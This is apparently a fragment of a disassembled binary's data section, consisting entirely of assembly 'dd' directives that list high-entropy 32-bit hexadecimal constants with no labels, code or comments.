		dd 71DE6505h, 423AF68h,	0D2A6D006h, 866100D4h, 41040552h
		dd 0EB7270A7h, 975BE400h, 0CF90FA42h, 0F4164B2Fh, 282DC1F0h
		dd 0DE3C5C05h, 65CD7101h, 50EC0191h, 0E2FF4C30h, 0C28813F9h
		dd 0D280ADAEh, 386ABEh,	0EB98E90Ch, 957D0B4h, 0E0E430D1h
		dd 0ECA4707Bh, 0E54A00D6h, 28E14476h, 702906C6h, 3B00D8FCh
		dd 0EFFE348Ch, 2F60255Bh, 1A50CC7Eh, 745BB56Fh,	2C31D0h
		dd 1EA356EBh, 21A3E20h,	90CD6D13h, 8F1078B8h, 0A42ED317h
		dd 0C26F2E10h, 0F672BDE7h, 105F6B10h, 0C52534h,	99CC6B9Eh
		dd 7256A296h, 612689Eh,	12644CA4h, 420452BBh, 9BFBFE9Ch
		dd 34C3755h, 8158055h, 0E074D8B0h, 7C8C3027h, 2EE06DECh
		dd 54A851A9h, 9D2B220Bh, 0A4A3F7DDh, 52925150h,	5F29C9FFh
		dd 91AD5C7h, 0ED64F708h, 9E56DF07h, 2FF07473h, 26EA2B2h
		dd 0E2019892h, 228C5B82h, 53BF9004h, 0E1CA70CFh, 1164B39h
		dd 0E90DFACDh, 0E27FF9B7h, 9FAE1DE3h, 89F1D980h, 0CB342DB5h
		dd 0A9DD5FC8h, 0ABEF75CBh, 5FCC5749h, 76F9F82Fh, 85C3CEF0h
		dd 745F02D9h, 0BB4BAEBCh, 9D315C27h, 532F5h, 48E381A0h
		dd 0DCE7C0C9h, 57EFDB5h, 54AD2BFDh, 0F90C76ACh,	7BFD3B10h
		dd 95FF0CF5h, 0E9542A7Dh, 2E014A33h, 0A18DF860h, 6DDC971Bh
		dd 9EEE3860h, 694F095Bh, 687570D7h, 3DCA6CECh, 0C069718h
		dd 46B06196h, 3C0A51BFh, 798CB700h, 3401722Dh, 148F4101h
		dd 71BD8B30h, 61680FD3h, 0D82770E6h, 9D29A1E4h,	0D783A53Dh
		dd 4FFA5106h, 0B14B8B7Eh, 0C83D4AFBh, 97F73CE5h, 0BB60A0FCh
		dd 4CDB0377h, 7372B61Ch, 4E83EDEh, 30120075h, 0E2F76642h
		dd 0C8062BF9h, 0DF58D09h, 0D18B3F44h, 2FF38105h, 0D9C8EECAh
		dd 0C6BF3E51h, 5B641381h, 0A505858Bh, 711875BFh, 16406DBDh
		dd 7C03183h, 473419B2h,	0B5290109h, 3B03F6F9h, 27E022D0h
		dd 1F901CDCh, 0FF7FE912h, 4861E099h, 1E4DB6D8h,	1C00186h
		dd 97392105h, 0CCFA319Bh, 0F0956EDh, 5D5BFBB7h,	0FC8AC1E4h
		dd 22597057h, 0EAC15184h, 4D3D6391h, 1FAF92Eh, 0DCEB8D05h
		dd 6360A752h, 0BB25006Dh, 79A661A1h, 5F14FC37h,	2FA583h
		dd 1BBB66FEh, 0A4958925h, 9FE8528Dh, 9290B107h,	38FFB2DAh
		dd 0E2000F46h, 0F3FD09D8h, 3514F53h, 0B986B5EEh, 2370E95Fh
		dd 0FAEE8D7Ah, 0FBCFAB50h, 0BF048190h, 109B4DD1h, 6E0FB2BAh
		dd 291471D8h, 0B989BC8Dh, 5DB4C2D5h, 0DB589B7Bh, 8FE23Ch
		dd 0BF5C7BD9h, 3202294h, 5F286676h, 0FC4FABEBh,	0C0769ABAh
		dd 0F07D7EBDh, 8C4CE9C4h, 4E30007Ah, 0E4EF8E24h, 4F0B86E3h
		dd 0F5FC1E6Ah, 300C8B7h, 0F608D9EAh, 8DDE2443h,	0BBC0127Ch
		dd 42DF02DAh, 0BA90142Fh, 7B55D192h, 16E058A4h,	0DE0F4200h
		dd 6EFF2EA1h, 0C23318ADh, 83D04AD1h, 7504E909h,	19CD5FF4h
		dd 0D3F7EE60h, 7E0B2420h, 0DD4160E4h, 8113500Eh, 1F0490B4h
		dd 0D0417C5h, 8BF84088h, 9105B995h, 1F0211F0h, 12BCF0B7h
		dd 0AB411469h, 50459BBBh, 18F4C2EDh, 8C16F03h, 19CB361Dh
		dd 100E584Ch, 0C661D85h, 89397965h, 112B269Dh, 0C9117BEh
		dd 0A57522EAh, 0D0ED735Dh, 11013A7Fh, 0A1D0C50Ah, 75C2B8E8h
		dd 2D0477Bh, 0E3EB00AAh, 89E6CDFFh, 2D61B98Dh, 319D23AEh
		dd 0E1EFCD35h, 0B92E4FAFh, 421BCD9h, 0FF5FE380h, 0C0DA9BE1h
		dd 0E64707EDh, 9A4145Eh, 1A29B82Bh, 0BA13BB2h, 0FF04818Bh
		dd 7B00493Dh, 0A905AFE4h, 0A39E0B46h, 90F5FDABh, 0ED39471h
		dd 0D6CC0D2Fh, 0A553F140h, 0A6016C33h, 0DD60E45Eh, 4A48F657h
		dd 14528101h, 0B201A6EBh, 737A5549h, 9F0F8900h,	703273BCh
		dd 11920591h, 208EA212h, 860F033Bh, 0FF69E16Eh,	1A0ADD4Ch
		dd 4AB70460h, 0AAD98C66h, 0A1B761F6h, 0C8B09DAAh, 0D205DECEh
		dd 4E1804Fh, 0A103B86Fh, 89F46FB5h, 0C4FAC8B1h,	0C9500A14h
		dd 1587F9Bh, 264984C4h,	0DF71FE17h, 0C1042F81h,	2B0BE1E2h
		dd 38BC0FFDh, 0D8AA9100h, 8507CB41h, 20E0B0E2h,	33792151h
		dd 851D5D30h, 2CB7DBBFh, 17C5500Dh, 2C17FAFBh, 0DD5020EFh
		dd 6100676Dh, 0C3754C6Ch, 0D28E1694h, 6F320F98h, 28806849h
		dd 5250557Ah, 0B100F0A6h, 2670913Eh, 425EB94h, 0A7078D69h
		dd 73C3A543h, 82086CD2h, 0AFB794FAh, 2E02CFF4h,	5D5565EBh
		dd 5F5A227Bh, 501267D9h, 0A2EF7F34h, 60BE8E3Eh,	0D22C47EDh
		dd 21CF0385h, 8810F5Fh,	0DF513528h, 58150D20h, 412EF15Bh
		dd 35FDA598h, 4155805Fh, 545263DEh, 28448C12h, 0B5B88AAh
		dd 29418390h, 33CE930h,	2785897Eh, 0B6D4ABA2h, 5898E046h
		dd 653300CCh, 7EAA07CAh, 8101664Ch, 0E9A645DFh,	0BD2E01D0h
		dd 17D4BC1Eh, 917793h, 294055F5h, 5009BF3Ah, 6171D88h
		dd 9BBF1F6Dh, 685A78F2h, 0F1F8409h, 0B1511389h,	0DB0058Eh
		dd 0C878F7CAh, 1870C770h, 0DE255497h, 6CE54A00h, 8BB8BF50h
		dd 0BB236EB5h, 7DCAD9CCh, 6FFA2B4Ah, 96CC1278h,	32392804h
		dd 89D8891Dh, 0AD645Fh,	33E1A2D7h, 0A563E768h, 0A3C4C300h
		dd 0B07E4609h, 491499B4h, 0FE8546B5h, 83FF551Eh, 827269A9h
		dd 0B0759D26h, 4468984h, 0B015B6BBh, 92995Fh, 5013D5A9h
		dd 964E7E9Ch, 2A53C9EBh, 9935BFCh, 0A10B5A5h, 92C4D781h
		dd 0A4AE0762h, 338FF66h, 1060261Fh, 278D428h, 61654113h
		dd 0A2BB5B03h, 0C789EE7Ah, 8EC4EA10h, 97D9921Eh, 58F98040h
		dd 8224EB80h, 0D769A38Dh, 9390D9E4h, 508019FAh,	0E3EF09BBh
		dd 8A910E03h, 1C951008h, 48340482h, 0DBBBB462h,	0C2158805h
		dd 525FD460h, 0CDF69D9Fh, 2B47F200h, 5CF92E13h,	21106B98h
		dd 615B141Eh, 16BD10D6h, 0A12E313Bh, 85C78824h,	0F5164348h
		dd 597AAA10h, 1D37342Fh, 0B066A6AAh, 0E67D42ECh, 3CBC261Ah
		dd 0D9CB0394h, 5E04ADC6h, 21E9DABFh, 0F52231F2h, 0C30500Eh
		dd 61440E11h, 10E8C101h
		dd 20E38EBh, 3124C3Fh, 0E7B39058h, 36DD36EBh, 9E6443E0h
		dd 501B63E1h, 21282934h, 1358180Ch, 1B57D001h, 0C0021B94h
		dd 7BDB589h, 78745375h,	0CD2EA452h, 855066ADh, 0B044117h
		dd 0CA0A3EC9h, 2A00AA7Ah, 0D3FD29DDh, 0C03C92E6h, 41AF488Ah
		dd 0B8D12932h, 9484027Fh, 31233A21h, 20FE19E9h,	1540F979h
		dd 0BABD4E29h, 94089012h, 0FF2AB11Bh, 29C3EEC7h, 10730458h
		dd 0B0502511h, 0A1D13FDBh, 243426FCh, 0EBFADE35h, 0E0EDD503h
		dd 88CA761Fh, 816096h, 0C6B6C2CFh, 61CDB03Fh, 0F98D310Dh
		dd 8B0D7C0Fh, 0C8A1DD37h, 0FD2FD4BDh, 0D27A890Ah, 99098913h
		dd 0AF4DD721h, 0F940A7E7h, 5001E485h, 0A5029503h, 30FA28AAh
		dd 85191FF9h, 56970E41h, 0D49DDEF4h, 89034FE1h,	7540B19Dh
		dd 0C4618680h, 9585092Fh, 614BCA68h, 14108C41h,	2F0DA5ABh
		dd 0B380E2ADh, 0C2835B71h, 0E7800400h, 205089A9h, 0BC0609BFh
		dd 0C88148A6h, 3EABB7CEh, 0BBB83EB9h, 0D920D990h, 0B8BCC922h
		dd 4546EF5Fh, 62F5C37Ah, 88A65BB9h, 2028D15Ch, 6AAD44C1h
		dd 0B2D0D693h, 332C0216h, 845CAFC5h, 41E05E9h, 1860F4AAh
		dd 0B53F6100h, 0DE5F101Dh, 1270B8B1h, 6558DAEFh, 1D3E0462h
		dd 0C0059E1Eh, 1E5F50CCh, 0DC1C48C4h, 1E4FFB2Eh, 0D55DFAFAh
		dd 4D14DFBCh, 8554B695h, 25A58A0Fh, 7F281931h, 26209E94h
		dd 2A69CCC7h, 0ECD7569h, 0F53AEBC0h, 0F521712h,	0F130FF8Eh
		dd 985F3230h, 2E3D10BCh, 1B1B8BA8h, 250CF254h, 2E5000E9h
		dd 313E517Fh, 456DB4Dh,	0D61BD01h, 0EF4A27CEh, 4F05FE3Fh
		dd 8176D6E6h, 0A5128B10h, 24A5101Dh, 0A1F000C0h, 87602E08h
		dd 0BA143A0Eh, 1297747Ch, 29E3185h, 22F12D80h, 7E7DD09Ch
		dd 605A66A4h, 6D7A4F20h, 4EA0090Eh, 4300EAD4h, 61BC89E7h
		dd 0F5582C4h, 0A198007Bh, 0B9150920h, 7DCFA01Ch, 2028107h
		dd 0C1F82430h, 2E0D1979h, 83BCDDF9h, 0C1911113h, 44C63582h
		dd 1A542E0Dh, 5FE93E9Ch, 0C4E74777h, 0E132601Ch, 29D402A3h
		dd 0F208A586h, 0C2403854h, 3B5D6709h, 180033F3h, 0D73DFE1Fh
		dd 3EF38BE4h, 95C4C9A8h, 0E937E4EDh, 0FFF33D1Ch, 0C357567h
		dd 41C0139Fh, 6A3D63BFh, 0C6E516A4h, 0C52E0960h, 0B3617940h
		dd 0C1026D79h, 8F8CCCBFh, 0F8D1752Fh, 59D2891Dh, 90F93281h
		dd 50D8A240h, 0E88350Fh, 0C1A606Dh, 0EC06CA48h,	612865B9h
		dd 0DB810D32h, 2EC41C23h, 319E62ACh, 60901F1h, 4D297D78h
		dd 0FAE803ACh, 4D7C2913h, 27FDD804h, 4E46F3EFh,	8007EF6Ah
		dd 0D0A8E974h, 684BD370h, 8156CF1Dh, 0B66C2081h, 0EF705B7Dh
		dd 4585A61Bh, 0CFEC2A0Eh, 54C957A0h, 70847D4Ch,	8B92018Ah
		dd 0D9CD50FBh, 0F5357DAh, 9019D958h, 611C2ED0h,	2A1A2725h
		dd 2E253460h, 8100BAA4h, 652D74E3h, 27BF6659h, 0EEA756FCh
		dd 4CD7A90Bh, 403595C4h, 19787F07h, 6E8FBBA0h, 49739655h
		dd 271445Dh, 31BA4119h,	1340609Fh, 992651D1h, 9D041E61h
		dd 418829F1h, 420F5BC1h, 0AB8C7FE6h, 7005F35Dh,	0ED000C7Dh
		dd 0CE3219B1h, 9D52F385h, 5F413BFCh, 7F66D1FFh,	80A855F0h
		dd 60506D16h, 0D3A688h,	0CF9B07B1h, 0D90F7367h,	0C402FB25h
		dd 6A400304h, 5AE73049h, 22BEFC4Bh, 74040167h, 0A031B7EAh
		dd 50299994h, 41FDAA60h, 878A3C15h, 1E601B31h, 3D7150h
		dd 0C985FC60h, 727453CAh, 0A9AEA200h, 26A61B9h,	41F30481h
		dd 804B6590h, 9826BFECh, 8110EFC8h, 0EB013348h,	95BCE830h
		dd 8005EF3Fh, 6B60E27Fh, 24BA66D3h, 7BA9F7h, 74C0CF81h
		dd 67BB75C7h, 0C71E904h, 9095B2EBh, 81AC2F8Bh, 0E8673D75h
		dd 0B53829B8h, 74571B8Fh, 2B4A4FC1h, 80FAF814h,	5FB1DB13h
		dd 7E2E2E04h, 0A6EB1D84h, 3510B00Ch, 60920246h,	15B509FBh
		dd 0F0F8D2A4h, 0FE95EA48h, 1A3F2487h, 0E7561FD5h, 27D15F52h
		dd 225FE0FBh, 0E5B52689h, 0E66CA59Dh, 0B1BD2908h, 0C92D2420h
		dd 8A87E959h, 5D996AD9h, 2F60524Dh, 1C486A09h, 0EED18D01h
		dd 0B9414481h, 4ABD3F54h, 0E6B69612h, 90953322h, 1A26CDFh
		dd 682A1658h, 2062B174h, 80332ADh, 71B69F89h, 0B01AC1ABh
		dd 5E36302Eh, 0BD00513Ch, 50FAFE52h, 727B65Dh, 3FE52F9Bh
		dd 43546269h, 5BDF4FC0h, 4A70E62Ch, 0D0A84465h,	58D70100h
		dd 8B71E4F9h, 0E892F84Bh, 0DA3E2CE1h, 0E9E50897h, 0BA95B305h
		dd 351814A3h, 89C1F125h, 110DBD32h, 49EB5C66h, 83BEC87Dh
		dd 1CB3031Fh, 82457640h, 0FE8B22C0h, 273A749Dh,	0A102439Ah
		dd 2B003409h, 0F4A3B7C8h, 7DD7B0D1h, 0B0F4095h,	221B525h
		dd 80E9619Ah, 18D3135h,	0BF8DC218h, 9CE01F7Bh, 39C20AB9h
		dd 5E15299Dh, 6CE44905h, 0F4AC5000h, 41DAC5B4h,	9120D8F5h
		dd 9997021Dh, 0E150E0Ch, 4C10CD70h, 40E9195Ah, 0BC2FFC1Bh
		dd 89BB9373h, 0F6222BDBh, 57F5222Ah, 90E7717Dh,	830A928Ah
		dd 0FE1F24A5h, 88DEBF8Bh, 83B6916h, 25216185h, 9910CF6Ch
		dd 0BD13AC05h, 0B6959445h, 1552F00Ah, 93460914h, 0C6DFD4A9h
		dd 41819C85h, 7D083BB9h, 176910EAh, 6BC5C44Ah, 0D17B073Ch
		dd 0DD2007ACh, 0EB814Bh, 62FB6B65h, 0DBE780FCh,	0F69DB870h
		dd 367DF47Eh, 57C9A309h, 129F715Fh, 0D87CE3F5h,	800DC9DAh
		dd 627C32BBh, 54891F4Bh, 0C9C0A2E9h, 68179E4Eh,	24DD0D93h
		dd 56302B0Ch, 9A619D31h, 58959525h, 0B9B7A5h, 0DA2375ACh
		dd 5E2542BFh, 33768h, 0CA892D06h, 4909DF13h, 71289A93h
		dd 494C448Eh, 0C13D9852h, 80E302DEh, 5F33271Eh,	5D71DA9Ah
		dd 9E516EA5h, 4100D488h, 5F3FEB26h, 0A1A8AF7h, 0E1FF0AEAh
		dd 0BD909BFh, 0FCC63571h, 706D9067h, 4013ACC1h,	41E30401h
		dd 59165D59h, 0BB367013h, 0E5024DD6h, 56E484BFh, 0B5D725D2h
		dd 380C85B6h, 2159C105h, 0D2A80409h, 46BCDD4Dh,	1D651C04h
		dd 0CEAD8880h, 3542C838h, 0AEE6FDA9h, 5D3114B2h, 81B4342Bh
		dd 2E174D94h, 929E7EB8h, 447FB5C7h, 79B1BA7Bh, 0ACB7F92Fh
		dd 69F494E5h, 0A2C50385h, 0BD6E6309h, 5F130149h, 0E6DDBE68h
		dd 0FC0F2B28h, 0B8B052F8h, 0F9DE3E41h, 8501560Bh, 7751A709h
		dd 44ACFC44h, 9FFDC8D3h, 0FA672001h, 0ACE45AFFh, 0AF93812Ch
		dd 7401588Eh, 30E95B6Bh, 11286202h, 894A0DA1h, 51BE9517h
		dd 0ED345FA6h, 5D84CEC7h, 0BFC0D0A8h, 32C974B2h, 53D33A95h
		dd 129350A6h, 0B5E852h,	0B28925CBh, 2CEA8Ch, 88E52EA7h
		dd 0CF176445h, 6B342306h, 7FAE7977h, 0DC0E822Dh, 9F76F77h
		dd 379259F6h, 85151146h, 0AD047D25h, 290714DDh,	0A9197495h
		dd 8C1BA8F3h, 17758807h, 0A0502A36h, 90D88BF8h,	50D92527h
		dd 0D102F0CAh, 75408E18h, 0C11213BFh, 0F9E56B8Ch, 0FF8908ADh
		dd 60F64DDFh, 0E17A7E30h, 5288DB4Fh, 0AE74009Fh, 0B885454Bh
		dd 87EC80D6h, 35CDF34Ah, 0ACD3E92Eh, 0C4774F05h, 46F7EFABh
		dd 0FA016802h, 577E0A90h, 34ACE04Eh, 2AF542h, 0C51D4835h
		dd 754D3FE9h, 8EDF3A28h, 0BEA44DB0h, 8FF9FE09h,	9E56370Ah
		dd 8942654h, 0F80E32A5h, 0C4EFF201h, 0D27AA87Bh, 0F727316Fh
		dd 4911F68Eh, 6BBF4B57h, 0BBB4018Ch, 7BE9D767h,	1ECD083Fh
		dd 9FA54E25h, 0CD0C5C35h, 259F3C12h, 0ABD52B61h, 0D76B63BBh
		dd 29178E45h, 98A851C4h, 0F9581AB6h, 25191087h,	47D7D897h
		dd 0E2A92EE1h, 0AD62CFBCh, 33155FAh, 214B3AE9h,	41F6BEBh
		dd 1C15EAC7h, 96EBB0ACh, 530F6E6Fh, 0EEE0D3DBh,	9EA873F2h
		dd 0B5096D09h, 9D314865h
		dd 4C1F5C29h, 15DF85E1h, 2E8D9205h, 0C5CCEB3Ch,	0E3DA8B27h
		dd 0C0034C87h, 29A97E51h, 0A47B03C1h, 316BAE54h, 386589D0h
		dd 0E124479h, 3940A069h, 0CF81665Fh, 0CD904ABEh, 0B8966D9Bh
		dd 23BFCC1h, 0F46EECD1h, 0B956FE8Ah, 4ECD82C4h,	0C25412DAh
		dd 759D0B60h, 0F2418B31h, 8EA92E6Ch, 7036FD00h,	58C95355h
		dd 7893E700h, 90EA084Dh, 97D89AB5h, 0DB001B37h,	1FB96EDh
		dd 82CD05E3h, 0F7E0E780h, 3DA5BA1h, 9A9C0C80h, 0DB4AB70Fh
		dd 0ACF5C5CCh, 40759690h, 0EF73C7BCh, 0BD45F309h, 89A659BEh
		dd 7F59D88Ah, 24DE16A6h, 253B5DDEh, 6350EBB3h, 0A4AC554h
		dd 1489A8DCh, 123459BDh, 4A0CE110h, 0E0AD9E84h,	7A0160B8h
		dd 87849073h, 648C18E2h, 507116F9h, 3ABB2002h, 561197ECh
		dd 256DE9C4h, 78630C40h, 11EEC43Dh, 0C9C7AD10h,	0DB331860h
		dd 126803D8h, 0E3FEEDD3h, 397522F0h, 7EA38307h,	0A47B950Bh
		dd 0DBE761DEh, 3FC40FA0h, 6B8F7E13h, 0BE01C8BBh, 8EF1410Bh
		dd 95130232h, 0E0E65425h, 3305F1BFh, 0D54949B6h, 0CDE06BEDh
		dd 12DD7Dh, 92E38176h, 502F2DC7h, 449FDC9Dh, 11F4BB51h
		dd 0A2220087h, 0C90EF47Eh, 5F6A4F4Dh, 0DF25BDEAh, 9687DF35h
		dd 0E7E060BFh, 4A56837h, 0DBC7802Ch, 0AC60AD61h, 9E008C1Ch
		dd 0A1999C21h, 0B0178D7h, 43F380C2h, 1B95F878h,	908BCAE9h
		dd 1221BFC1h, 0B2075AE3h, 25498DC9h, 9BB81A2Dh,	96475E03h
		dd 0A450DEB3h, 0B02CA6EFh, 412FB49h, 7C46A794h,	0F8E8C240h
		dd 55A974h, 5DC9FE13h, 0BC13E135h, 0C0F053ADh, 0B65BFEB6h
		dd 0EC4D2520h, 0B2621464h, 32612160h, 91523797h, 0C0A08F1Ah
		dd 0F9A571E8h, 0FB989525h, 94958DB7h, 11944DBh,	1F52B55Bh
		dd 6617E0A3h, 0A05212BBh, 9D7123C2h, 4525F096h,	0ECC0A7C4h
		dd 0E90ECC5Eh, 33FFF49Eh, 0DFE215A6h, 0D800CBD9h, 36DECA02h
		dd 128B4A13h, 0BD2488D7h, 3B662800h, 0F6BA74FBh, 0BE2D020Dh
		dd 0C18B5B44h, 0DCE2C34Dh, 91A8D87Ah, 399504C1h, 0AEF6FA0Dh
		dd 0FC5F5304h, 50068090h, 20ED5B52h, 0D61A78DEh, 5B7E4FA1h
		dd 0A3A67006h, 0B6DB801Ah, 0C0B2ED44h, 799EDCD7h, 0CEF27F31h
		dd 614106ADh, 0CC7CB696h, 9AB8B062h, 4D27BB56h,	7C14C08Ah
		dd 3E25A10Eh, 9038C181h, 59E2E38h, 0CC310FFBh, 0A07ADCEh
		dd 3361C469h, 0F450B6B7h, 0EEE48Ch, 0FACF1892h,	5B122297h
		dd 0FB3A19B7h, 0D97F9002h, 0B55E24ACh, 0B915BDB6h, 0E93A3B21h
		dd 8AC4B967h, 0DD2C4A7Eh, 0C0A01ABFh, 0BDC007E0h, 0F98A258Bh
		dd 5509A65h, 4B6C00E6h,	0B25388B3h, 8917515Eh, 5552C9B5h
		dd 0A24D9AA1h, 1461DCh,	0FB6429B2h, 72DC8BEFh, 6DDA3A4Ah
		dd 4A875176h, 6AF9CE00h, 0D338B502h, 0DC8A1D59h, 6C50495Ah
		dd 0E183A57Bh, 0DD6261F0h, 0B7AC7695h, 7DCF910Ah, 0D90931D7h
		dd 9AC6F722h, 84CFA200h, 295026E4h, 74403AAAh, 0C318E600h
		dd 0CDFCE8C9h, 0F7615F24h, 4206D08h, 0AC0D91E9h, 0B6A0B16Dh
		dd 20F0FC04h, 2FA39034h, 0A6BA2C65h, 0D7E96654h, 0A4E0F2C7h
		dd 0EAB2F629h, 0DA34486Bh, 0DF978C3Ah, 874F0538h, 0B3B6AA19h
		dd 9DACC700h, 0D1411E52h, 32A1BA00h, 33FCC626h,	0DFAB0515h
		dd 13FDA791h, 7A9BEACBh, 0A050E781h, 9A532B30h,	8B26DEFEh
		dd 0E0478045h, 4AAD9D01h, 5B9BCA1Dh, 35802EDBh,	0A28D7261h
		dd 0BE96F18h, 3F45321Dh, 0B581C986h, 1D3E859Bh,	611C20ABh
		dd 0B2880B5Fh, 0CC54821Bh, 0E04AED49h, 0FFB75354h, 35C7BB03h
		dd 0BC6A6DD0h, 0FE09A3BDh, 4264E880h, 90BCCE00h, 5A508477h
		dd 12FFBA59h, 0FFA8298Dh, 7C334189h, 2AFE0282h,	1705DCC0h
		dd 1CEEB195h, 0F30C7616h, 0EB07A5Fh, 5E1402BFh,	71E470E6h
		dd 0B654AA62h, 38350246h, 15A5BD89h, 60129E59h,	120B68B2h
		dd 8E818C3Eh, 0F1C38319h, 32202F2Fh, 5E6F3Fh, 70E8AF3h
		dd 0C013852Eh, 6D13C97Ch, 0CCFB57C1h, 19259DC8h, 2DB6A2Dh
		dd 90AA5C4h, 5758D850h,	0CA944A31h, 1020FBF8h, 18C82B2Fh
		dd 30BD29B0h, 0D14D0C45h, 49708D89h, 0E195E980h, 64C16D42h
		dd 8852D48h, 2BDB2F11h,	0A960BF0Fh, 616381F1h, 16B8FA8Ah
		dd 0ED4DBD40h, 571E7716h, 61532B5Fh, 0CA3A3E5Dh, 221DC6D2h
		dd 0FB5F59E9h, 0A2640300h, 0A698FAE0h, 72DD1A4h, 0B83E447Bh
		dd 32D87237h, 5203FF8Dh, 3E02736Ah, 9D825F61h, 71771581h
		dd 2284082Eh, 0A594FC9Eh, 73FE2620h, 0E4867520h, 0C7178C00h
		dd 33C13124h, 5E4A25C8h, 32FCD76Ch, 0DE28F497h,	2032431Dh
		dd 1DE3817Fh, 5B7B67EEh, 20554CA7h, 0E4403A2Dh,	957F0052h
		dd 0F83CB7E0h, 0F3EA3D9Eh, 4C86AD24h, 18628412h, 5BB8A485h
		dd 4BF7F6EFh, 0A63FFAh,	0BAC7CDC6h, 3C62A347h, 0F94128Dh
		dd 608B918Ah, 211840Eh,	0B9615E53h, 0ACE6AAEAh,	0E1343002h
		dd 2F275C0Eh, 5CC0D14Dh, 1F09CDC8h, 0C4DD2758h,	8CF890C0h
		dd 0D40095A9h, 0F452C38Bh, 72D03C2h, 0B14E6724h, 0BB222034h
		dd 71E21692h, 0BC4AFC5Dh, 2CED0169h, 2B01D2B0h,	0B8A06DC0h
		dd 59C74005h, 9FBA2040h, 2F6A0D6h, 0A59B9510h, 0DC43CD0Bh
		dd 59093392h, 0C781E282h, 300BEFC0h, 0D673D697h, 4284AD00h
		dd 946ECCA5h, 101E1253h, 5594FE89h, 5BFA4781h, 82AC242Eh
		dd 19D1F9A0h, 1509F893h, 4BF97A9Dh, 20AD8D61h, 74BB961h
		dd 0BBC0AD8Bh, 558F7BF3h, 0C4E5549Dh, 0A273B8F9h, 2FBF2078h
		dd 3B38C2C3h, 0DA5554B8h, 0B5673A97h, 0CA6D84EBh, 4D7E809Fh
		dd 610043AAh, 39CB09BFh, 97E1FF7Ch, 0FD6FCD4h, 0E8610B39h
		dd 26BB84C1h, 0C3B96B89h, 361A5125h, 49F10585h,	97A95FA1h
		dd 26429F59h, 8E820904h, 9D5C5F4Bh, 80153051h, 0DB4643B0h
		dd 9D8A054Bh, 9D23887Eh, 271BD52Ch, 82071291h, 0A06C935Bh
		dd 0AF66549Ch, 0BC75B700h, 1EADBB61h, 604B258Ah, 2FC06CEDh
		dd 2A19CC9h, 44B574FCh,	0AF403A73h, 56821DDDh, 0CC7325E1h
		dd 25AF0378h, 0DDC2F8EAh, 0D9707DDBh, 0E114040Eh, 0B9E474EDh
		dd 3C4F2EDEh, 4625964Ah, 0DF60F995h, 79659520h,	5012972Ch
		dd 5FD9AF04h, 88ED53A1h, 4B76BE69h, 941778Ch, 60AA6DDDh
		dd 4E9BA886h, 0B4C8DD4Fh, 0F4A20030h, 17F9C712h, 8300EB0Ah
		dd 68050C95h, 25BBE9B9h, 79F06C55h, 5F072920h, 6988CA61h
		dd 952670F2h, 30E5A446h, 0BEFF61DFh, 0C0C2D891h, 0FB6C76A9h
		dd 0C22C0117h, 5B37D00Bh, 815D248Bh, 0A54BBF4Ah, 26229850h
		dd 60A500AEh, 0A237BD94h, 3902C401h, 5B83F19Ch,	8BA38E8Ah
		dd 0DCCD5758h, 54B3FD62h, 0D16064FBh, 152FA569h, 3400DBB2h
		dd 73BB1FFBh, 207EEC03h, 0C9858913h, 9D2A1EB1h,	0AFE86A8Eh
		dd 0D8026BFDh, 5F019AE9h, 6788BDBh, 0CDAD3DD8h,	2B4C1A84h
		dd 0D265BC66h, 719F0101h, 132F15FDh, 9E98EE65h,	27630109h
		dd 2EAB9EBEh, 17472021h, 0BFD68AA2h, 997DAA0h, 63CDFD78h
		dd 67E60EE0h, 96D90910h, 967BA8CFh, 26181A59h, 0F6781601h
		dd 89E66C73h, 0B872AD3Eh, 578524AAh, 5270C9E6h,	15820F28h
		dd 2430525Fh, 3E323F68h, 55004A64h, 0ADF0FC3Dh,	8E2503B5h
		dd 9D3C585Bh, 1D604DCh,	0AD67D933h, 2FA62612h, 0F5F72116h
		dd 0AE91B4B0h, 2BFC5E16h, 9247FF2h, 2210F5h, 5963C168h
		dd 4CD88AC0h, 3E034F81h, 663FC5A0h, 62B5D3C0h, 0DBE72B97h
		dd 9093D099h, 5F0EBFE8h, 933869CFh, 25B6260Bh, 0D8BCC773h
		dd 7BDA5975h, 12ED257h,	68A12591h, 32DD985h, 0A6EE8C61h
		dd 9AA8B4FFh, 0E34D1312h
		dd 5C8389C8h, 0F3C761F2h, 0DF282BD8h, 98569F46h, 0C0425CF4h
		dd 0E233ED12h, 36A697C9h, 0FF261DA0h, 0C98ED64Bh, 0EBB83EE9h
		dd 8D0120FCh, 0B6B75AD8h, 0B501D259h, 9D03002Dh, 0A55494C1h
		dd 0FE10C865h, 25AD8D82h, 0D704EE08h, 0E62C9FB8h, 0D4ED31DCh
		dd 6C3A2FD4h, 0B1564562h, 503273E9h, 0CB00CD02h, 88D31FE3h
		dd 0B0B2BE73h, 8094258Fh, 8F4BB6CCh, 7A49B08Bh,	0D61396BCh
		dd 1DE0F9A6h, 0ECD58321h, 0DA8A1DB0h, 65967ABh,	16B07FD0h
		dd 0C9E744Fh, 1D648C94h, 0C9B144Ah, 0ACC01BC8h,	3CB5DAFh
		dd 0B56AB4D3h, 85A78ABBh, 27A233h, 80AB6807h, 29B2216h
		dd 98E17958h, 0D65C0C26h, 0A6C38061h, 4586B25Ch, 0A7012E03h
		dd 2761BD0Bh, 2B80DD2Ah, 0CB81D830h, 0D2101258h, 3B96CD6Ch
		dd 6E1CC26Eh, 259AE822h, 0C7CC3389h, 0D55831B3h, 792B481Ah
		dd 0B107525Ah, 12707CC2h, 0C2E72969h, 0A030A64Eh, 12F6D2AFh
		dd 0E1F986F5h, 6AA118BEh, 811FB7BDh, 0B3ED9D09h, 0A09A2B3Bh
		dd 0D7C015C8h, 499D2326h, 0C94AE4C5h, 747930CCh, 3A853D2Fh
		dd 74D175DEh, 9D300DF8h, 0FC7330E3h, 0D421965Bh, 0D9309A77h
		dd 0BBC6016Fh, 37725348h, 96796050h, 0E67586F2h, 4E9A144Eh
		dd 53C019C8h, 2C852A65h, 0A5A97CD7h, 2DA08966h,	568A0F59h
		dd 0E9E2E984h, 705F7BDDh, 2101FA29h, 0F1FCB960h, 75386B77h
		dd 16A21E27h, 2B5E50FEh, 5E78FF2Bh, 544B1F8Fh, 0CD5909C7h
		dd 74286570h, 3F9F9C2Fh, 0E8870638h, 6E071309h,	91062B2Ch
		dd 0C40254A3h, 431B9880h, 9225BC8h, 9B71F964h, 71BD8985h
		dd 0DA4A90E8h, 0C11DC8DAh, 0CCD06E90h, 9D0BA2BBh, 89C14C38h
		dd 6842DDE1h, 0D0698856h, 89949543h, 2B966F70h,	777900F4h
		dd 589D8227h, 0D669715Bh, 0EA8A5469h, 0D602D650h, 0AED3A5B3h
